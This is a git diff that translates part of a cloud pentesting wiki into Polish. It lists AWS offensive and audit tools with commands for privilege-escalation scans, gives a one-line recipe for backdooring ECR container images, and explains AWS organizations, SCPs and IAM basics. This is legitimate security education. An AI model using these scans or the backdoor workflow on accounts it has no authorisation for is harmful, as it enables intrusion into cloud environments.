+- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Odkryj najbardziej uprzywilejowanych użytkowników w skanowanym środowisku AWS, w tym AWS Shadow Admins. Używa powershell. Możesz znaleźć **definicję uprzywilejowanych polityk** w funkcji **`Check-PrivilegedPolicy`** w [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu to otwartoźródłowe **ramy eksploatacji AWS**, zaprojektowane do testowania bezpieczeństwa ofensywnego w środowiskach chmurowych. Może **enumerować**, znajdować **błędy konfiguracyjne** i **eksploatować** je. Możesz znaleźć **definicję uprzywilejowanych uprawnień** w [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) wewnątrz słownika **`user_escalation_methods`**.
+- Zauważ, że pacu **sprawdza tylko twoje własne ścieżki privesc** (nie w skali całego konta).
```bash
# Install
## Feel free to use venvs
@@ -264,9 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
-
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) to skrypt i biblioteka do identyfikacji ryzyk w konfiguracji AWS Identity and Access Management (IAM) dla konta AWS lub organizacji AWS. Modeluje różne użytkowników i role IAM w koncie jako graf skierowany, co umożliwia sprawdzanie **eskalacji uprawnień** oraz alternatywnych ścieżek, które atakujący mógłby wykorzystać, aby uzyskać dostęp do zasobu lub akcji w AWS. Możesz sprawdzić **uprawnienia używane do znajdowania ścieżek privesc** w plikach kończących się na `_edges.py` w [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
-
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\
- It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use).
-
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining to narzędzie oceny bezpieczeństwa AWS IAM, które identyfikuje naruszenia zasady najmniejszych uprawnień i generuje raport HTML z priorytetem ryzyka.\
+Pokaże ci potencjalnie **nadmiernie uprawnionego** klienta, polityki inline i aws **polityki** oraz które **podmioty mają do nich dostęp**. (Sprawdza nie tylko privesc, ale także inne interesujące uprawnienia, zaleca się użycie).
```bash
# Install
pip install cloudsplaining
@@ -303,24 +290,20 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack ocenia konta AWS pod kątem **wrażliwości na przejęcie subdomen** w wyniku rozdzielonych konfiguracji Route53 i CloudFront.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lista repozytoriów ECR -> Pobierz repozytorium ECR -> Wprowadź backdoora -> Wypchnij obraz z backdoorem
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag to narzędzie, które **przeszukuje** publiczne migawki Elastic Block Storage (**EBS**) w poszukiwaniu sekretów, które mogły zostać przypadkowo pozostawione.
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in.
-
-### Audit
-
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins).
+### Audyt
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit od Aqua to projekt open-source zaprojektowany w celu wykrywania **ryzyk bezpieczeństwa w kontach infrastruktury chmurowej**, w tym: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI) oraz GitHub (nie szuka ShadowAdmins).
```bash
./index.js --csv=file.csv --console=table --config ./config.js
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness.
-
+- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler to narzędzie zabezpieczeń typu Open Source do przeprowadzania ocen najlepszych praktyk zabezpieczeń AWS, audytów, reakcji na incydenty, ciągłego monitorowania, wzmacniania i gotowości do analizy kryminalistycznej.
```bash
# Install python3, jq and git
# Install
@@ -331,15 +314,11 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure.
-
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox pomaga uzyskać świadomość sytuacyjną w nieznanych środowiskach chmurowych. Jest to narzędzie wiersza poleceń typu open source stworzone, aby pomóc testerom penetracyjnym i innym profesjonalistom w dziedzinie bezpieczeństwa ofensywnego znaleźć wykorzystywalne ścieżki ataku w infrastrukturze chmurowej.
```bash
cloudfox aws --profile [profile-name] all-checks
```
-
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments.
-
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite to narzędzie do audytu bezpieczeństwa w chmurze o otwartym kodzie źródłowym, które umożliwia ocenę stanu bezpieczeństwa środowisk chmurowych.
```bash
# Install
virtualenv -p python3 venv
@@ -350,18 +329,16 @@ scout --help
# Get info
scout aws -p dev
```
+- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (używa python2.7 i wygląda na nieutrzymywaną)
+- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus to potężne narzędzie do najlepszych praktyk twardnienia AWS EC2 / S3 / CloudTrail / CloudWatch / KMS (wygląda na nieutrzymywane). Sprawdza tylko domyślnie skonfigurowane poświadczenia w systemie.
-- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained)
-- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system.
+### Stały audyt
-### Constant Audit
-
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
-- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
-
-## DEBUG: Capture AWS cli requests
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian to silnik reguł do zarządzania publicznymi kontami i zasobami w chmurze. Umożliwia użytkownikom **definiowanie polityk w celu umożliwienia dobrze zarządzanej infrastruktury chmurowej**, która jest zarówno bezpieczna, jak i zoptymalizowana kosztowo. Konsoliduje wiele ad-hoc skryptów, które organizacje mają, w lekkie i elastyczne narzędzie, z jednolitymi metrykami i raportowaniem.
+- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** to platforma do **ciągłego monitorowania zgodności, raportowania zgodności i automatyzacji bezpieczeństwa dla chmury**. W PacBot polityki bezpieczeństwa i zgodności są wdrażane jako kod. Wszystkie zasoby odkryte przez PacBot są oceniane pod kątem zgodności z tymi politykami. Ramy **auto-fix** PacBot zapewniają możliwość automatycznego reagowania na naruszenia polityki poprzez podejmowanie zdefiniowanych działań.
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert to bezserwerowa, **w czasie rzeczywistym** ramka analizy danych, która umożliwia **przyjmowanie, analizowanie i powiadamianie** o danych z dowolnego środowiska, **używając źródeł danych i logiki powiadamiania, które definiujesz**. Zespoły bezpieczeństwa komputerowego używają StreamAlert do skanowania terabajtów danych dzienników każdego dnia w celu wykrywania incydentów i reakcji.
+## DEBUG: Przechwytywanie żądań AWS cli
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
@@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
# Run aws cli normally trusting burp cert
aws ...
```
-
## References
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 02e6e7729..8c126157d 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -1,261 +1,245 @@
-# AWS - Basic Information
+# AWS - Podstawowe Informacje
{{#include ../../../banners/hacktricks-training.md}}
-## Organization Hierarchy
+## Hierarchia Organizacji
.png>)
-### Accounts
+### Konta
-In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
+W AWS istnieje **konto główne**, które jest **rodzicem dla wszystkich kont** w Twojej **organizacji**. Jednak nie musisz używać tego konta do wdrażania zasobów, możesz utworzyć **inne konta, aby oddzielić różne infrastruktury AWS** między sobą.
-This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
+Jest to bardzo interesujące z punktu widzenia **bezpieczeństwa**, ponieważ **jedno konto nie będzie mogło uzyskać dostępu do zasobów innego konta** (chyba że specjalnie utworzone są mosty), dzięki czemu możesz stworzyć granice między wdrożeniami.
-Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
+Dlatego w organizacji istnieją **dwa typy kont** (mówimy o kontach AWS, a nie kontach użytkowników): jedno konto, które jest wyznaczone jako konto zarządzające, oraz jedno lub więcej kont członkowskich.
-- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
+- **Konto zarządzające (konto główne)** to konto, którego używasz do tworzenia organizacji. Z konta zarządzającego organizacją możesz zrobić następujące rzeczy:
- - Create accounts in the organization
- - Invite other existing accounts to the organization
- - Remove accounts from the organization
- - Manage invitations
- - Apply policies to entities (roots, OUs, or accounts) within the organization
- - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
- - It's possible to login as the root user using the email and password used to create this root account/organization.
+- Tworzyć konta w organizacji
+- Zapraszać inne istniejące konta do organizacji
+- Usuwać konta z organizacji
+- Zarządzać zaproszeniami
+- Stosować polityki do podmiotów (korzeni, OU lub kont) w organizacji
+- Włączyć integrację z obsługiwanymi usługami AWS, aby zapewnić funkcjonalność usług we wszystkich kontach w organizacji.
+- Możliwe jest zalogowanie się jako użytkownik główny, używając adresu e-mail i hasła użytego do utworzenia tego konta głównego/organizacji.
- The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
-
-- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
- - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
+Konto zarządzające ma **odpowiedzialność konta płatnika** i jest odpowiedzialne za opłacanie wszystkich opłat, które są naliczane przez konta członkowskie. Nie możesz zmienić konta zarządzającego organizacją.
+- **Konta członkowskie** składają się z pozostałych kont w organizacji. Konto może być członkiem tylko jednej organizacji w danym czasie. Możesz przypisać politykę do konta, aby zastosować kontrole tylko do tego jednego konta.
+- Konta członkowskie **muszą używać ważnego adresu e-mail** i mogą mieć **nazwę**, generalnie nie będą mogły zarządzać rozliczeniami (ale mogą otrzymać do nich dostęp).
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
+### **Jednostki Organizacyjne**
-### **Organization Units**
-
-Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
-
+Konta mogą być grupowane w **Jednostki Organizacyjne (OU)**. W ten sposób możesz tworzyć **polityki** dla Jednostki Organizacyjnej, które będą **stosowane do wszystkich kont podrzędnych**. Zauważ, że OU może mieć inne OU jako dzieci.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
-
### Service Control Policy (SCP)
-A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
+**Polityka kontroli usług (SCP)** to polityka, która określa usługi i działania, które użytkownicy i role mogą wykorzystywać w kontach, na które wpływa SCP. SCP są **podobne do polityk uprawnień IAM**, z tą różnicą, że **nie przyznają żadnych uprawnień**. Zamiast tego, SCP określają **maksymalne uprawnienia** dla organizacji, jednostki organizacyjnej (OU) lub konta. Gdy dołączysz SCP do korzenia swojej organizacji lub OU, **SCP ogranicza uprawnienia dla podmiotów w kontach członkowskich**.
-This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
-The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
+To jest JEDYNY sposób, aby **nawet użytkownik root mógł być powstrzymany** przed zrobieniem czegoś. Na przykład, może być użyty do powstrzymania użytkowników przed wyłączaniem CloudTrail lub usuwaniem kopii zapasowych.\
+Jedynym sposobem na obejście tego jest również skompromitowanie **konta głównego**, które konfiguruje SCP (konto główne nie może być zablokowane).
> [!WARNING]
-> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
+> Zauważ, że **SCP ograniczają tylko podmioty w koncie**, więc inne konta nie są dotknięte. Oznacza to, że posiadanie SCP, które odmawia `s3:GetObject`, nie powstrzyma ludzi przed **uzyskiwaniem dostępu do publicznego koszyka S3** w twoim koncie.
-SCP examples:
+Przykłady SCP:
-- Deny the root account entirely
-- Only allow specific regions
-- Only allow white-listed services
-- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
+- Całkowite odmówienie konta root
+- Zezwolenie tylko na określone regiony
+- Zezwolenie tylko na usługi z białej listy
+- Odmowa wyłączenia GuardDuty, CloudTrail i S3 Public Block Access
- being disabled
+- Odmowa usuwania lub modyfikowania ról odpowiedzialności za bezpieczeństwo/incydenty.
-- Deny security/incident response roles from being deleted or
+- Odmowa usuwania kopii zapasowych.
+- Odmowa tworzenia użytkowników IAM i kluczy dostępu
- modified.
-
-- Deny backups from being deleted.
-- Deny creating IAM users and access keys
-
-Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
+Znajdź **przykłady JSON** w [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
### ARN
-**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
-
+**Amazon Resource Name** to **unikalna nazwa**, którą ma każdy zasób w AWS, składa się z tego:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
```
-
-Note that there are 4 partitions in AWS but only 3 ways to call them:
+Zauważ, że w AWS są 4 partycje, ale tylko 3 sposoby ich nazywania:
- AWS Standard: `aws`
- AWS China: `aws-cn`
- AWS US public Internet (GovCloud): `aws-us-gov`
- AWS Secret (US Classified): `aws`
-## IAM - Identity and Access Management
+## IAM - Zarządzanie Tożsamością i Dostępem
-IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
+IAM to usługa, która pozwoli Ci zarządzać **Uwierzytelnianiem**, **Autoryzacją** i **Kontrolą Dostępu** w Twoim koncie AWS.
-- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
-- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
-- **Access Control** - The method and process of how access is granted to a secure resource
+- **Uwierzytelnianie** - Proces definiowania tożsamości i weryfikacji tej tożsamości. Proces ten można podzielić na: Identyfikację i weryfikację.
+- **Autoryzacja** - Określa, do czego tożsamość ma dostęp w systemie, gdy już została uwierzytelniona.
+- **Kontrola Dostępu** - Metoda i proces, w jaki sposób dostęp jest przyznawany do zabezpieczonego zasobu.
-IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
+IAM można zdefiniować przez jego zdolność do zarządzania, kontrolowania i regulowania mechanizmów uwierzytelniania, autoryzacji i kontroli dostępu tożsamości do Twoich zasobów w Twoim koncie AWS.
-### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
+### [Użytkownik główny konta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
+Kiedy po raz pierwszy tworzysz konto Amazon Web Services (AWS), zaczynasz od pojedynczej tożsamości logowania, która ma **pełny dostęp do wszystkich** usług i zasobów AWS w koncie. To jest _**główny użytkownik**_ konta AWS i uzyskuje się do niego dostęp, logując się za pomocą **adresu e-mail i hasła, które użyłeś do utworzenia konta**.
-Note that a new **admin user** will have **less permissions that the root user**.
+Zauważ, że nowy **użytkownik admina** będzie miał **mniejsze uprawnienia niż użytkownik główny**.
-From a security point of view, it's recommended to create other users and avoid using this one.
+Z punktu widzenia bezpieczeństwa zaleca się tworzenie innych użytkowników i unikanie korzystania z tego.
-### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
+### [Użytkownicy IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
-An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
+Użytkownik IAM to podmiot, który tworzysz w AWS, aby **reprezentować osobę lub aplikację**, która używa go do **interakcji z AWS**. Użytkownik w AWS składa się z nazwy i poświadczeń (hasło i do dwóch kluczy dostępu).
-When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
+Kiedy tworzysz użytkownika IAM, przyznajesz mu **uprawnienia**, czyniąc go **członkiem grupy użytkowników**, która ma odpowiednie polityki uprawnień (zalecane), lub **bezpośrednio przypisując polityki** do użytkownika.
-Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
+Użytkownicy mogą mieć **włączone MFA do logowania** przez konsolę. Tokeny API użytkowników z włączonym MFA nie są chronione przez MFA. Jeśli chcesz **ograniczyć dostęp kluczy API użytkowników za pomocą MFA**, musisz wskazać w polityce, że aby wykonać określone działania, MFA musi być obecne (przykład [**tutaj**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
#### CLI
-- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
-- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
+- **ID klucza dostępu**: 20 losowych wielkich liter alfanumerycznych, takich jak AKHDNAPO86BSHKDIRYT
+- **ID tajnego klucza dostępu**: 40 losowych wielkich i małych liter: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nie ma możliwości odzyskania utraconych ID tajnych kluczy dostępu).
-Whenever you need to **change the Access Key** this is the process you should follow:\
-NAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
+Kiedy musisz **zmienić klucz dostępu**, powinieneś postępować zgodnie z tym procesem:\
+NAN;_Create nowy klucz dostępu -> Zastosuj nowy klucz do systemu/aplikacji -> oznacz oryginalny jako nieaktywny -> Testuj i weryfikuj, że nowy klucz dostępu działa -> Usuń stary klucz dostępu_
-### MFA - Multi Factor Authentication
+### MFA - Uwierzytelnianie wieloskładnikowe
-It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
-You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
+Jest używane do **tworzenia dodatkowego czynnika uwierzytelniania** oprócz istniejących metod, takich jak hasło, tworząc w ten sposób wieloskładnikowy poziom uwierzytelniania.\
+Możesz użyć **darmowej aplikacji wirtualnej lub fizycznego urządzenia**. Możesz użyć aplikacji takich jak google authentication za darmo, aby aktywować MFA w AWS.
-Policies with MFA conditions can be attached to the following:
+Polityki z warunkami MFA mogą być przypisane do następujących:
-- An IAM user or group
-- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
-- The trust policy of an IAM role that can be assumed by a user
-
-If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
-Note that **`AssumeRole` credentials don't contain this information**.
+- Użytkownika lub grupy IAM
+- Zasobu, takiego jak koszyk Amazon S3, kolejka Amazon SQS lub temat Amazon SNS
+- Polityki zaufania roli IAM, która może być przyjęta przez użytkownika
+Jeśli chcesz **uzyskać dostęp przez CLI** do zasobu, który **sprawdza MFA**, musisz wywołać **`GetSessionToken`**. To da Ci token z informacjami o MFA.\
+Zauważ, że **`AssumeRole` poświadczenia nie zawierają tych informacji**.
```bash
aws sts get-session-token --serial-number --token-code
```
+As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), istnieje wiele różnych przypadków, w których **MFA nie może być używane**.
-As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
+### [Grupy użytkowników IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
-### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)
+Grupa [użytkowników IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) to sposób na **przypisanie polityk do wielu użytkowników** jednocześnie, co może ułatwić zarządzanie uprawnieniami tych użytkowników. **Role i grupy nie mogą być częścią grupy**.
-An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
+Możesz przypisać **politykę opartą na tożsamości do grupy użytkowników**, aby wszyscy **użytkownicy** w grupie użytkowników **otrzymali uprawnienia polityki**. **Nie możesz** zidentyfikować **grupy użytkowników** jako **`Principal`** w **polityce** (takiej jak polityka oparta na zasobach), ponieważ grupy odnoszą się do uprawnień, a nie do uwierzytelniania, a podmioty są uwierzytelnionymi jednostkami IAM.
-You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
+Oto kilka ważnych cech grup użytkowników:
-Here are some important characteristics of user groups:
+- Grupa **użytkowników** może **zawierać wielu użytkowników**, a **użytkownik** może **należeć do wielu grup**.
+- **Grupy użytkowników nie mogą być zagnieżdżane**; mogą zawierać tylko użytkowników, a nie inne grupy użytkowników.
+- Nie ma **domyślnej grupy użytkowników, która automatycznie obejmuje wszystkich użytkowników w koncie AWS**. Jeśli chcesz mieć taką grupę użytkowników, musisz ją utworzyć i przypisać do niej każdego nowego użytkownika.
+- Liczba i rozmiar zasobów IAM w koncie AWS, takich jak liczba grup oraz liczba grup, do których użytkownik może należeć, są ograniczone. Aby uzyskać więcej informacji, zobacz [kwoty IAM i AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
-- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
-- **User groups can't be nested**; they can contain only users, not other user groups.
-- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
-- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
+### [Role IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
-### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
+Rola IAM jest bardzo **podobna** do **użytkownika**, ponieważ jest to **tożsamość z politykami uprawnień, które określają, co** może i czego nie może robić w AWS. Jednak rola **nie ma żadnych poświadczeń** (hasła ani kluczy dostępu) związanych z nią. Zamiast być unikalnie przypisana do jednej osoby, rola ma być **przyjmowana przez każdego, kto jej potrzebuje (i ma wystarczające uprawnienia)**. Użytkownik **IAM może przyjąć rolę, aby tymczasowo** przyjąć różne uprawnienia do konkretnego zadania. Rola może być **przypisana do** [**użytkownika federacyjnego**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html), który loguje się za pomocą zewnętrznego dostawcy tożsamości zamiast IAM.
-An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
+Rola IAM składa się z **dwóch typów polityk**: **polityki zaufania**, która nie może być pusta, definiującej **kto może przyjąć** rolę, oraz **polityki uprawnień**, która nie może być pusta, definiującej **do czego ma dostęp**.
-An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
+#### Usługa AWS Security Token Service (STS)
-#### AWS Security Token Service (STS)
+Usługa AWS Security Token Service (STS) to usługa internetowa, która ułatwia **wydawanie tymczasowych, ograniczonych poświadczeń**. Jest specjalnie dostosowana do:
-AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
+### [Tymczasowe poświadczenia w IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
